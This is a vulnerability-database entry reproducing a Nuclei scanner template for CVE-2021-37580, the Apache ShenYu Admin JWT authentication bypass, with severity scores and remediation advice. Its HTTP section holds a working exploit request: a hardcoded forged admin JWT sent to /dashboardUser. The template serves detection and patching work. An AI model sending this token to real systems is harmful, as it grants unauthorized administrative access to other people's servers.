Lucene search

K
nucleiProjectDiscoveryNUCLEI:CVE-2021-37580
HistoryNov 18, 2021 - 8:08 p.m.

Apache ShenYu Admin JWT - Authentication Bypass

2021-11-1820:08:23
ProjectDiscovery
github.com
28
cve2021
apache
jwt
shenyu
authentication
bypass
vulnerability
patch
upgrade

CVSS2

7.5

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

AI Score

9.4

Confidence

High

EPSS

0.876

Percentile

98.7%

Apache ShenYu 2.3.0 and 2.4.0 allow Admin access without proper authentication. The incorrect use of JWT in ShenyuAdminBootstrap allows an attacker to bypass authentication.

id: CVE-2021-37580

info:
  name: Apache ShenYu Admin JWT - Authentication Bypass
  author: pdteam
  severity: critical
  description: Apache ShenYu 2.3.0 and 2.4.0 allow Admin access without proper authentication. The incorrect use of JWT in ShenyuAdminBootstrap allows an attacker to bypass authentication.
  impact: |
    This vulnerability can lead to unauthorized access to sensitive information, modification of data, and potential compromise of the entire Apache ShenYu system.
  remediation: |
    Apply the patch or upgrade to the latest version of Apache ShenYu to fix the authentication bypass vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-37580
    - https://github.com/fengwenhua/CVE-2021-37580
    - https://lists.apache.org/thread/o15j25qwtpcw62k48xw1tnv48skh3zgb
    - http://www.openwall.com/lists/oss-security/2021/11/16/1
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-37580
    cwe-id: CWE-287
    epss-score: 0.92774
    epss-percentile: 0.99015
    cpe: cpe:2.3:a:apache:shenyu:2.3.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: apache
    product: shenyu
  tags: cve2021,cve,apache,jwt,shenyu

http:
  - raw:
      - |
        GET /dashboardUser HTTP/1.1
        Host: {{Hostname}}
        X-Access-Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyTmFtZSI6ImFkbWluIiwiZXhwIjoxNjM3MjY1MTIxfQ.-jjw2bGyQxna5Soe4fLVLaD3gUT5ALTcsvutPQoE2qk

    matchers-condition: and
    matchers:
      - type: word
        words:
          - 'query success'
          - '"userName":"admin"'
          - '"code":200'
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100ab926b1490fc289a0ea742ed2479c9b24c7b4661c1de6e9e810ba3d73d14fdcc022048cb38a850976e6bb62ba717194a8b14ce2836bb7cec53a7ca3823f8cd79dce9:922c64590222798bb761d5b6d8e72950

CVSS2

7.5

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

AI Score

9.4

Confidence

High

EPSS

0.876

Percentile

98.7%